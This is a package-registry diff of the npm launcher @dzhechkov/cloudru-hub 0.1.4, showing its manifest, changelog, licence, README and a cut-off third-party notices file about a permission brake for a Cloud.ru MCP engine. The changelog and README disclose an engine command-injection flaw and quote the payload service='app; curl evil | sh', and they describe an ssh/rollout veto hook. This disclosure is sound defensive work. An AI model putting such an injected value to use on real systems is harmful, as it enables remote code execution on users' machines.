@dzhechkov/cloudru-hub 0.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,105 @@
1
+ {
2
+ "manifest": {
3
+ "version": 1,
4
+ "pack": "cloudru-hub",
5
+ "files": [
6
+ {
7
+ "path": "CHANGELOG.md",
8
+ "sha256": "106646f93a18c0335ff739c61df9432b9a79b743b53941f15e9bcc64b35504a4"
9
+ },
10
+ {
11
+ "path": "LICENSE",
12
+ "sha256": "68da42b10dcc095cdfd7249557cee30285664e5dea00dc85475ff047d975616a"
13
+ },
14
+ {
15
+ "path": "README.md",
16
+ "sha256": "38e29682c26399d930823f68ff35febfc2e0045e3912e1665ed071c9b73c084c"
17
+ },
18
+ {
19
+ "path": "THIRD_PARTY_NOTICES.md",
20
+ "sha256": "109cffdaaf9402e88f6cc35a0497ba49db015b329fce87ba20762f34dc95c051"
21
+ },
22
+ {
23
+ "path": "bin/cloudru-hub.js",
24
+ "sha256": "fcdb6806036feff444611483f4216477c83bc53d28ebca4736370c671f7f72db"
25
+ },
26
+ {
27
+ "path": "data/dialects.json",
28
+ "sha256": "8007dd5da843074d497617bdf3709cc3dc516a138171781b5ef0aa3ff596fa4d"
29
+ },
30
+ {
31
+ "path": "data/pointer-section.md",
32
+ "sha256": "6f4557d97b90936ef153dc90eac4bdceb6846b6d08d8aec45c86baac328cca60"
33
+ },
34
+ {
35
+ "path": "data/tools-classification.json",
36
+ "sha256": "13d6a3e87d767d0015f6b2af0223633fa99e49c69c9a8adcec8f6fce6e46d36e"
37
+ },
38
+ {
39
+ "path": "data/tools-list-snapshot.json",
40
+ "sha256": "56221fa8170f2b32ab6d3a907261badc07695f47ae9ac4adca4e43d2ea5ee06f"
41
+ },
42
+ {
43
+ "path": "docs/LOCAL-TESTING.md",
44
+ "sha256": "092142c00295c54866330f2159a13284d04e2f35a749b32dff0ca4f2ab28ea54"
45
+ },
46
+ {
47
+ "path": "package.json",
48
+ "sha256": "24333e792a9cbdbc5d23f10d47969f3d3e984a2acc000c903b4003ffcf42d02f"
49
+ },
50
+ {
51
+ "path": "src/classification.js",
52
+ "sha256": "8c1096273d2a2c9c6336c476096cb1e064184c6876d5466470fb69705ba3f265"
53
+ },
54
+ {
55
+ "path": "src/cli.js",
56
+ "sha256": "db981ad0078c80ba7a859057638a2576d7f02d87ca2891f8083a92a8147742dd"
57
+ },
58
+ {
59
+ "path": "src/dialects.js",
60
+ "sha256": "a826cea19ff38e24ad7fd36c6ec85a51e2cd1d985d1fa92941f77bcf353db1de"
61
+ },
62
+ {
63
+ "path": "src/install.js",
64
+ "sha256": "5d087b289aaf8cd2e1b4cffbd2227eb3bdc7264cddc0877561e08bc0ea6d6fd2"
65
+ },
66
+ {
67
+ "path": "src/resolve.js",
68
+ "sha256": "5cbd0861c2973fab62271269b10f748b9638e74f40e8ea034f78ac63bed58001"
69
+ },
70
+ {
71
+ "path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
72
+ "sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
73
+ },
74
+ {
75
+ "path": "test/classification.test.mjs",
76
+ "sha256": "25290e9a8715d13670d617e23cb47c4c2d71b1506a8d98e5b682733b626a18b8"
77
+ },
78
+ {
79
+ "path": "test/dialects.test.mjs",
80
+ "sha256": "9b83b2e2cbbee4ead33af61db840833ce4aa2dd0cf5a4448d72d5886098639c6"
81
+ },
82
+ {
83
+ "path": "test/hook.test.mjs",
84
+ "sha256": "d53b58e853b6a37342a3a0fade782bced6283ea2ec376e2ac954b23f9ec68c17"
85
+ },
86
+ {
87
+ "path": "test/install.test.mjs",
88
+ "sha256": "e986b29346672bf75b384ab6d8657265b8ecb8f62df6563dca317c1fc63fc8fc"
89
+ },
90
+ {
91
+ "path": "test/mutation-registry.json",
92
+ "sha256": "23baf0c1c20afc5bbbfcd72ae9c553ce8a774c25328609e33f43e11cf4ca5581"
93
+ },
94
+ {
95
+ "path": "test/pack-holds.test.mjs",
96
+ "sha256": "a083ff619f1d97b3e0e1b95dec6e98b56c4296da5171e2eb41c713dd983c8d69"
97
+ },
98
+ {
99
+ "path": "test/resolve.test.mjs",
100
+ "sha256": "6b524f69c5ed03aaafab67e734e58092033423b86feade28ad03f516feba2380"
101
+ }
102
+ ]
103
+ },
104
+ "signature": "jfciH34h4f/SUaAlkeRh4BOQVIFbmJDJv7cewtiBSApv1V/xTPTyUvoEsN0eYyz5w9Y9KrwFjh5dKLp4AQnqDA=="
105
+ }
package/CHANGELOG.md ADDED
@@ -0,0 +1,130 @@
1
+ # Changelog — @dzhechkov/cloudru-hub
2
+
3
+ ## 0.1.4 — 2026-08-12 (FIRST PUBLICATION — ADR-001 hold satisfied, AM-2)
4
+
5
+ - **The licence hold is SATISFIED and the pack is published.** Тимур — the author of the
6
+ Hermes engine additions (built on the owner's original Go CLI foundation, ADR-001
7
+ AM-1) — approved publication; owner-reported 2026-08-12, recorded in
8
+ `features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md` (linked from the
9
+ LICENSE `Grant-Confirmation:` line). Honesty: the approval is owner-attested; archiving
10
+ the author's written confirmation is a recorded owner follow-up. No licence is
11
+ fabricated on the author's behalf: the pack still ships ZERO engine-addition bytes,
12
+ `license: MIT` covers only the owner's code, and LICENSE Part 2 explicitly grants no
13
+ third-party rights to the engine additions.
14
+ - Hold mechanics flipped legitimately, not cosmetically: `private:true` and the PENDING
15
+ placeholder removed; the `licenseHold` trigger field deliberately KEPT (per the
16
+ `dz guard` `licence-hold` rule design a satisfied hold passes with the trigger in
17
+ place, so the rule keeps verifying LICENSE/NOTICES/SPDX on every future publish).
18
+ - Hold-era pack tests replaced by post-grant invariants: honest grant wording
19
+ (owner-attested, no fabricated grant deed), Grant-Confirmation URL present, author
20
+ attribution by name, licenseHold-stays-declared, SPDX-matches-LICENSE (the ADR-001
21
+ Confirmation test), publishable-state. Mutation registry entries updated in kind
22
+ (`licence-publishable-state-asserted`, `licence-spdx-matches-license-file`;
23
+ the LICENSE file itself is not gate-mutable — extensionless, no parser — so the
24
+ Grant-Confirmation content is covered by the pack tests + the guard rule directly).
25
+ Suite 71 → 70 tests (the npm-layer EPRIVATE probe retired with `private:true`);
26
+ mutation gate 13/13 PROVEN (MEASURED — 2026-08-12).
27
+ - NOT in this release: the binary-carrying platform package
28
+ `@dzhechkov/cloudru-vm-linux-x64` (ADR-002 trusted-CI build + go-licenses
29
+ reconciliation still required before its first publication).
30
+
31
+ ## 0.1.3 — 2026-08-10 (still HELD unpublished — ADR-001; Variant A binary-name leak scrubs)
32
+
33
+ - **LOW, dialect compiler — the engine binary name `cloudru-vm` handled by targeted leak-form
34
+ SCRUBS, deliberately NOT by the codename net.** The bare token is ALSO the legitimate MCP
35
+ server name that MUST appear in output — PROVEN before coding: `\bcloudru-vm\b` matches the
36
+ compiler's OWN injected tool_search prose `сервера cloudru-vm видны` (over-block), and
37
+ `mcp__cloudru-vm__` is spared only because `_` is a word char. So `forbiddenCodenames` is
38
+ unchanged; instead both targets (claude-code, codex) gain two ordered replacements placed
39
+ AFTER the longer `cloudru-vm-cli` scrub: (1) dotted config path `\.cloudru-vm(?![\w-])` →
40
+ `.cloudru-hub` (lookahead spares `.cloudru-vm-cli`); (2) CLI invocation
41
+ `\bcloudru-vm[ \t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\b)`
42
+ → `cloudru-hub ` — the verb alternation is the engine's REAL cobra command set, cited from
43
+ the baseline `engine/cmd/cloudru-vm/main.go` AddCommand block (lines 53-65); `[ \t]+` (not
44
+ `\s+`) so a line break is never joined, whole-word verbs so `cloudru-vm deployment` and
45
+ Russian prose stay untouched. RED-before/GREEN-after pinned in tests (0.1.2 shipped
46
+ `~/.cloudru-vm/config` and `cloudru-vm deploy` INTACT with ok=true — MEASURED); over-block
47
+ guard test proves the MCP server prose + `mcp__cloudru-vm__stack_status` compile CLEAN and
48
+ unrewritten; a verb-set test pins the alternation to the engine command set. Two mutation
49
+ entries (`dialect-binary-path-leak-scrubbed`, `dialect-binary-invocation-leak-scrubbed`)
50
+ keep each scrub RED when disarmed. Suite 66 → 71 tests; mutation gate 11 → 13 PROVEN.
51
+
52
+ ## 0.1.2 — 2026-08-10 (still HELD unpublished — ADR-001; closes 2 re-QE residuals)
53
+
54
+ - **HIGH, ADR-004 AM-2 — `logs` reclassified allow→ask; the classification method gains a
55
+ SECOND hazard axis (reaching a remote shell with a user-controlled argument).** The AM-1
56
+ re-audit checked only "advances a job / spends money / returns a secret"; it did NOT
57
+ check whether a tool passes a user arg into a remote shell. `logs` (classified `allow`)
58
+ does — VERIFIED against the pinned baseline: `handleLogs` (`tools.go:1758`) passes the
59
+ user `service` arg to `engine.Logs`, which concatenates it RAW into
60
+ `cmd += " " + opts.Service` (`engine/logs.go:61`) → `Deployer.Exec` (`logs.go:64`) → SSH
61
+ `session.CombinedOutput` (`internal/deploy/ssh.go:117`). So `service="app; curl evil | sh"`
62
+ is arbitrary RCE on the user's VM behind a silent `allow`. Re-audited ALL 78 allow tools
63
+ against the new axis: `logs` is the ONLY shell-reaching allow tool (every other shell
64
+ site — `vm_exec`, `deploy`, `deploy_apply`/captainkeys, `k8s_kubectl`/`k8s_apply`/`k8s_helm`
65
+ — is already `ask`). New golden split: 65 ask / 2 deny / 77 allow. Invariant pinned
66
+ layer-1: `logs===ask` test, method-doc-documents-shell-reach test, no-allow-admits-shell-reach
67
+ test, mutation-registry entry `brake-logs-stays-ask`. Engine injection flagged to the
68
+ author (ADR-004 AM-2; licence-blocked, not fixed here).
69
+ - **LOW, dialect compiler — codename allowlist expanded to the full engine identity.**
70
+ `forbiddenCodenames` covered only `hermes`; the tokens `dzhechko` (go-module owner),
71
+ `cloudru-vm-cli` (CLI name), and `captainkeys` (`captainkeys.go`) compiled CLEAN
72
+ (VERIFIED). Now all four are gated, case-insensitive, with WORD-BOUNDARY matching (not
73
+ substring): necessary because a raw `dzhechko` substring over-blocks the legitimately
74
+ published scope `@dzhechkov` (= `dzhechko`+`v`), and word boundaries also drop harmless
75
+ `thermes`-class false positives without weakening the net against any observed real leak
76
+ shape (`~/.hermes/`, `hermes-agent`, prose "Hermes", Cyrillic-suffixed `hermesовский`).
77
+ Each identity token gets a scrub replacement (go-module path → published package name);
78
+ the real corpus still compiles with 0 survivors on both targets (MEASURED). Mutation
79
+ entry `dialect-codename-gate-armed` updated for the expanded list, stays RED when emptied.
80
+ - Tests 58 → 66 (MEASURED — `node --test 'test/*.test.mjs'`); mutation gate 10/10 → 11/11
81
+ PROVEN (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`).
82
+
83
+ ## 0.1.1 — 2026-08-10 (still HELD unpublished — ADR-001; closes 2 cross-model QE findings)
84
+
85
+ - **HIGH (false-safe), ADR-004 AM-1 — `stack_status` reclassified allow→ask, and the
86
+ classification METHOD corrected.** `handleStackStatus` (`tools_stack.go:451`) advances
87
+ planned/running jobs (`:479-484` → `advance` → `s.callTool` `:220`), invoking the paid
88
+ create tools with no confirmation — LIVE-REPRODUCED against the pinned baseline: one
89
+ `stack_status` call moved a planned job `planned→running` and attempted `provision`
90
+ twice (stopped only at AUTH_REQUIRED), so the fully-allow chain
91
+ `stack_plan→stack_status` defeated the brake with zero prompts. All 79 former allow
92
+ tools re-audited against actual engine handler BEHAVIOUR (not schema shape); 78
93
+ confirmed genuinely read-only (each entry's `why` now cites the handler file:line),
94
+ `stack_plan`/`deploy_plan` verified to create nothing (LOCAL plan file only). New
95
+ golden split: 64 ask / 2 deny / 78 allow. Invariant pinned layer-1: `stack_status===ask`
96
+ test, allow-requires-behaviour-audit test, mutation-registry entry
97
+ `brake-stack-status-stays-ask`.
98
+ - **MEDIUM, dialect compiler — positive codename invariant.** The 8-token denylist let
99
+ the bare codename and the `~/.hermes/` path through (real-corpus compile returned
100
+ `ok=true` with 5 case-insensitive survivors — MEASURED). `compileSkill` now hard-fails
101
+ on ANY case-insensitive codename occurrence in ANY emitted file
102
+ (`data/dialects.json.forbiddenCodenames`), with scrub replacements for the observed
103
+ leak shapes (`~/.hermes/` path, `hermes-agent` example name, 2 prose mentions); the
104
+ real corpus now compiles with 0 survivors on both targets (MEASURED). Mutation-registry
105
+ entry `dialect-codename-gate-armed`.
106
+ - Tests 52 → 58 (MEASURED — `node --test 'test/*.test.mjs'`); mutation gate 8/8 → 10/10
107
+ PROVEN (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`).
108
+
109
+ ## 0.1.0 — 2026-08-10 (prepared, HELD unpublished — ADR-001)
110
+
111
+ Initial build of the npm launcher for the `cloudru-vm` MCP engine, per
112
+ `features/hermes-claude-adaptation/` ADR-001/002/004/005/006/010.
113
+
114
+ - Launcher with runtime engine resolution (env → config → optional platform package),
115
+ sha256 pin verification against the 0.2.3-20260718 baseline; `resolve`, `self-test`,
116
+ `mcp`, `install`, `compile-skill` commands.
117
+ - ADR-004 brake: golden classification of all 144 engine tools (63 ask / 2 deny /
118
+ 79 allow — MEASURED, `data/tools-classification.json`), permission-rule emission in
119
+ both mcp__ prefix spellings, PreToolUse ssh-guard + kubectl-rollout veto with an
120
+ EXECUTED install-time probe.
121
+ - ADR-005 tiering: claude-code full / codex plan-only / degraded refused /
122
+ agents-md+gemini pointer-only (≤2048 chars, mandatory no-veto warning).
123
+ - ADR-006 dialect compiler: config-driven target variants, forbidden-token hard gate,
124
+ dangling-link unlinking, 12 000-char lossy router cap, byte-deterministic.
125
+ - Publish hold armed three ways: `private:true` (npm layer), the `dz guard`
126
+ `licence-hold` HARD rule (harness-core), and mutation-gate entries 8/8 PROVEN
127
+ (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`, 2026-08-10).
128
+ - 52 tests (MEASURED — `node --test 'test/*.test.mjs'`, 52/52 pass, 2026-08-10).
129
+ - NOT published: LICENSE Part 2 carries the pending-grant placeholder; see README
130
+ "Post-grant publish checklist".
package/LICENSE ADDED
@@ -0,0 +1,67 @@
1
+ # LICENSE — @dzhechkov/cloudru-hub
2
+
3
+ This file has two parts because the shipped work has two provenances. Part 1 covers every
4
+ byte actually contained in this npm package. Part 2 records the licensing status of the
5
+ Hermes engine additions, which this package deliberately does NOT contain.
6
+
7
+ ---
8
+
9
+ ## Part 1 — Code contained in this package (launcher, target adapters, installer, tests)
10
+ ## and the original Go CLI foundation
11
+
12
+ MIT License
13
+
14
+ Copyright (c) 2026 Dmitry Zhechkov
15
+
16
+ Permission is hereby granted, free of charge, to any person obtaining a copy
17
+ of this software and associated documentation files (the "Software"), to deal
18
+ in the Software without restriction, including without limitation the rights
19
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
20
+ copies of the Software, and to permit persons to whom the Software is
21
+ furnished to do so, subject to the following conditions:
22
+
23
+ The above copyright notice and this permission notice shall be included in all
24
+ copies or substantial portions of the Software.
25
+
26
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
27
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
28
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
29
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
30
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
31
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
32
+ SOFTWARE.
33
+
34
+ Authorship note (ADR-001 amendment AM-1, recorded 2026-08-09): the original Go CLI
35
+ foundation on which the Hermes engine builds (cli.go / internal/cli) was authored by
36
+ Dmitry Zhechkov, the owner of this repository. The Hermes engine is a DERIVATIVE work
37
+ built on that foundation. This note states the owner's own authorship as fact; it does
38
+ NOT assert, imply, or substitute for any grant by the Hermes engine author.
39
+
40
+ ---
41
+
42
+ ## Part 2 — The Hermes engine additions (the ~144-tool MCP layer) — NOT in this package
43
+
44
+ This package contains ZERO bytes of the Hermes engine additions: no engine binary, no
45
+ engine Go sources, no engine skill corpus. The engine binary is located at RUNTIME
46
+ (environment variable / config path / a future platform package) and is never bundled
47
+ here. See ADR-002 (distribution form) and the package README.
48
+
49
+ Redistribution status of the engine additions (the Hermes author's contribution on top
50
+ of the owner's CLI foundation):
51
+
52
+ GRANT RECORDED (ADR-001 AM-2, exit 2 — 2026-08-12): Тимур, the author of the Hermes
53
+ engine additions (the ~144-tool MCP layer built on the owner's original Go CLI
54
+ foundation), approved publication of this package, as reported by the repository owner
55
+ (Dmitry Zhechkov) on 2026-08-12. The approval is owner-attested; archiving the author's
56
+ written confirmation is a recorded owner follow-up (see the grant record linked below).
57
+ Per the owner's standing attribution condition, publication carries authorship credit:
58
+ the Hermes engine additions are the work of Тимур; the original Go CLI foundation and
59
+ every byte contained in this package are the work of Dmitry Zhechkov (Part 1).
60
+
61
+ The author did not designate a licence text for the engine additions themselves.
62
+ Accordingly: this package continues to ship ZERO bytes of the engine additions, the MIT
63
+ licence in Part 1 covers ONLY the owner's code, and nothing in this file grants any
64
+ third party rights to the engine additions — their use remains governed by their
65
+ author's own terms.
66
+
67
+ Grant-Confirmation: https://github.com/djd1m/dz-harness-hub/blob/main/features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md
package/README.md ADDED
@@ -0,0 +1,131 @@
1
+ # @dzhechkov/cloudru-hub
2
+
3
+ > **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**
4
+ > Тимур, the author of the Hermes engine additions, approved publication (owner-reported
5
+ > 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE
6
+ > Part 2; archiving the author's written confirmation is a recorded owner follow-up).
7
+ > The `dz guard` `licence-hold` rule stays armed and keeps verifying
8
+ > LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the
9
+ > trigger in place.
10
+
11
+ > **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** "Cloud.ru" is a
12
+ > trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API
13
+ > through the `cloudru-vm` engine.
14
+
15
+ Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **144 tools**
16
+ (MEASURED — live `tools/list` probe, `data/tools-list-snapshot.json`) for Cloud.ru
17
+ Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
18
+ docker-compose deploy wizard.
19
+
20
+ ## Attribution
21
+
22
+ - **CLI foundation and everything in this package** (launcher, adapters, installer,
23
+ tests): **Dmitry Zhechkov** (MIT — LICENSE Part 1). Per ADR-001 AM-1 the original Go
24
+ CLI on which the engine builds is the owner's work; the Hermes engine is a derivative
25
+ of it.
26
+ - **Hermes engine additions** (the ~144-tool MCP layer): **Тимур**, the Hermes author.
27
+ **Zero bytes of those additions ship in this package** — no binary, no Go sources, no
28
+ skill corpus. Publication of this package was approved by the author (grant recorded
29
+ 2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no
30
+ licence text for the engine additions themselves; nothing here grants third parties
31
+ rights to them.
32
+
33
+ ## What ships here (our code only — ADR-002)
34
+
35
+ | Piece | Where | What it does |
36
+ |---|---|---|
37
+ | Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (exists only post-grant); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
38
+ | Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (65 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 77 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
39
+ | Target tiering (ADR-005) | `src/install.js` | claude-code = full install; codex = plan-only (delivery requires an executed veto probe); openclaude/opencode/cursor/windsurf/copilot = **refused** (DEGRADED until live probe); agents-md/gemini = pointer-only ≤2048 chars with a mandatory no-veto warning |
40
+ | Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
41
+ | Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the tool's engine handler (read-only proven at the pinned baseline, engine file:line cited per entry — schema shape alone is never sufficient: the `confirmed`-prop heuristic mis-filed `stack_status`, which advances jobs and invokes paid create tools); a live tool unknown to it is a drift finding (deny-by-default) |
42
+
43
+ ## Usage
44
+
45
+ ```bash
46
+ cloudru-hub resolve # where is the engine, which sha256, is it the pinned baseline
47
+ cloudru-hub self-test # resolve → sha256 → engine version → live tools/list → coverage
48
+ cloudru-hub mcp # run the engine as an MCP stdio server (what .mcp.json points at)
49
+ cloudru-hub install --target claude-code # emit .mcp.json + permission brake + veto hook, PROBE the veto
50
+ cloudru-hub install --target agents-md # pointer-only section (no tools, no fake support)
51
+ cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
52
+ ```
53
+
54
+ ## Local testing (works now, no publish)
55
+
56
+ ```bash
57
+ export CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm # e.g. the pinned 0.2.3-20260718 baseline
58
+ node bin/cloudru-hub.js self-test
59
+ ```
60
+
61
+ Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
62
+ the pinned baseline `59f83fc0…c05124`, engine version, 144 live tools, full
63
+ classification coverage). Full walkthrough incl. `npm link` and MCP registration:
64
+ [`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
65
+
66
+ ## Safety properties (all layer-1, discrimination-proven)
67
+
68
+ Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
69
+ `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
70
+ and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08-12):
71
+
72
+ 1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field
73
+ deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps
74
+ verifying LICENSE (grant record + `Grant-Confirmation:` URL, no PENDING placeholder),
75
+ THIRD_PARTY_NOTICES and the SPDX field on every publish; pack tests additionally pin
76
+ the honest grant wording (owner-attested, no fabricated grant deed), the SPDX-matches-
77
+ LICENSE invariant (ADR-001 Confirmation) and the publishable state.
78
+ 2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the
79
+ `npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.
80
+ 3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
81
+ keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
82
+ report success unless the executed probe blocks.
83
+ 4. **`stack_status` stays ask** (ADR-004 AM-1) — it ADVANCES planned/running stack jobs
84
+ server-side, invoking the paid create tools (`tools_stack.go:479` → `advance` →
85
+ `s.callTool` `:220`; LIVE-REPRODUCED: one call moved a planned job to `running` and
86
+ attempted `provision`). Flipping it back to allow re-opens the zero-prompt paid chain
87
+ `stack_plan→stack_status` and goes RED.
88
+ 5. **`logs` stays ask** (ADR-004 AM-2) — it concatenates its user-controlled `service`
89
+ arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
90
+ `engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
91
+ `internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
92
+ user's VM. Flipping it back to allow puts that command-injection path behind a silent
93
+ allow and goes RED. (Engine injection flagged to the author — the classifier can only
94
+ prompt, it cannot escape the arg.)
95
+ 6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
96
+ case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
97
+ alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
98
+ covers the full engine identity — `hermes`, `dzhechko` (go-module owner), `cloudru-vm-cli`,
99
+ `captainkeys` — with word-boundary matching so the published scope `@dzhechkov` is not
100
+ over-blocked.
101
+ 7. **The engine binary-name leak forms are scrubbed, not codename-gated** (0.1.4) — the
102
+ bare token `cloudru-vm` is ALSO the legitimate MCP server name that must appear in
103
+ output (`\bcloudru-vm\b` over-blocks the compiler's own injected prose `сервера
104
+ cloudru-vm видны` — PROVEN), so instead the two unambiguous leak FORMS get targeted
105
+ replacements in every target: dotted path `.cloudru-vm` → `.cloudru-hub`, and CLI
106
+ invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's real cobra
107
+ command set only (`deploy|status|logs|destroy|verify|init|version|list-zones|
108
+ list-images|mcp|doctor`, cited from the baseline `cmd/cloudru-vm/main.go`). Disarming
109
+ either scrub goes RED (`dialect-binary-path-leak-scrubbed`,
110
+ `dialect-binary-invocation-leak-scrubbed`).
111
+
112
+ ## Post-grant publish checklist (executed 2026-08-12)
113
+
114
+ 1. ✅ Grant recorded (ADR-001 AM-2, exit 2): LICENSE Part 2 placeholder replaced with the
115
+ owner-attested grant record + `Grant-Confirmation:` link, `"license": "MIT"` (owner
116
+ code only), `private` removed, `licenseHold` trigger deliberately KEPT armed.
117
+ Open owner follow-up: archive the author's written confirmation in the grant record.
118
+ 2. ✅ `dz guard check --op publish` passes (the licence-hold rule verifies all of it).
119
+ 3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying
120
+ channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal
121
+ `cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in
122
+ THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is
123
+ supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).
124
+ 4. ✅ Published via the repo's standard release flow.
125
+
126
+ ## Tests
127
+
128
+ `npm test` — 70 tests, 70 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-08-12;
129
+ node:test, zero deps). Suite includes the tarball-content gate,
130
+ the post-grant licence gates, the brake acid tests, installer tiering, and dialect
131
+ compilation.
@@ -0,0 +1,56 @@
1
+ # THIRD PARTY NOTICES — @dzhechkov/cloudru-hub
2
+
3
+ This npm package itself contains no third-party code (its launcher, adapters, installer
4
+ and tests are original work — see LICENSE Part 1, MIT).
5
+
6
+ This file exists because of ADR-001 point 4: the `cloudru-vm` engine binary that the
7
+ launcher RESOLVES AT RUNTIME (and that a future `@dzhechkov/cloudru-vm-linux-x64`
8
+ platform package would carry, post-grant) is a statically linked Go executable that
9
+ embeds the following third-party modules (source of record: `engine/go.mod` in the
10
+ pinned baseline `hermes-engine-src-20260718.tgz`, sha256
11
+ `007e7cbe851d3ecd78f457f81ae3679904b2fd4dac660a0e349dabcde61bbe5c` — see
12
+ `features/hermes-claude-adaptation/evidence/ENGINE-BASELINE.json`).
13
+
14
+ ## Direct dependencies (engine/go.mod, require block 1)
15
+
16
+ | Module | Version | License |
17
+ |---|---|---|
18
+ | github.com/minio/minio-go/v7 | v7.2.1 | Apache-2.0 |
19
+ | github.com/spf13/cobra | v1.10.2 | Apache-2.0 |
20
+ | golang.org/x/crypto | v0.51.0 | BSD-3-Clause |
21
+ | golang.org/x/term | v0.43.0 | BSD-3-Clause |
22
+ | gopkg.in/yaml.v3 | v3.0.1 | Apache-2.0 (parser core: MIT — see its LICENSE) |
23
+
24
+ ## Indirect dependencies (engine/go.mod, require block 2)
25
+
26
+ github.com/cespare/xxhash/v2 (MIT), github.com/dustin/go-humanize (MIT),
27
+ github.com/google/uuid (BSD-3-Clause), github.com/inconshreveable/mousetrap (Apache-2.0),
28
+ github.com/klauspost/compress (Apache-2.0 / BSD-3-Clause / MIT — mixed, see its LICENSE),
29
+ github.com/klauspost/cpuid/v2 (MIT), github.com/klauspost/crc32 (Apache-2.0),
30
+ github.com/minio/crc64nvme (Apache-2.0), github.com/minio/md5-simd (Apache-2.0),
31
+ github.com/philhofer/fwd (MIT), github.com/rs/xid (MIT), github.com/spf13/pflag
32
+ (BSD-3-Clause), github.com/tinylib/msgp (MIT), github.com/zeebo/xxh3 (BSD-2-Clause),
33
+ go.yaml.in/yaml/v3 (Apache-2.0/MIT), golang.org/x/net (BSD-3-Clause), golang.org/x/sys
34
+ (BSD-3-Clause), golang.org/x/text (BSD-3-Clause), gopkg.in/ini.v1 (Apache-2.0).
35
+
36
+ ## Apache-2.0 NOTICE preservation
37
+
38
+ Apache License 2.0 §4(d) requires redistribution to preserve NOTICE file contents of the
39
+ covered works. Of the modules above, MinIO ships a NOTICE file; its contents are
40
+ preserved here:
41
+
42
+ > MinIO Project, (C) 2015-2023 MinIO, Inc.
43
+ >
44
+ > This product includes software developed at MinIO, Inc.
45
+ > (https://min.io/).
46
+
47
+ The Go standard library linked into the binary is BSD-3-Clause, Copyright (c) 2009
48
+ The Go Authors.
49
+
50
+ ## Verification TODO (pre-publication of any binary-carrying channel)
51
+
52
+ Before the FIRST publication of a channel that actually carries the binary (the platform
53
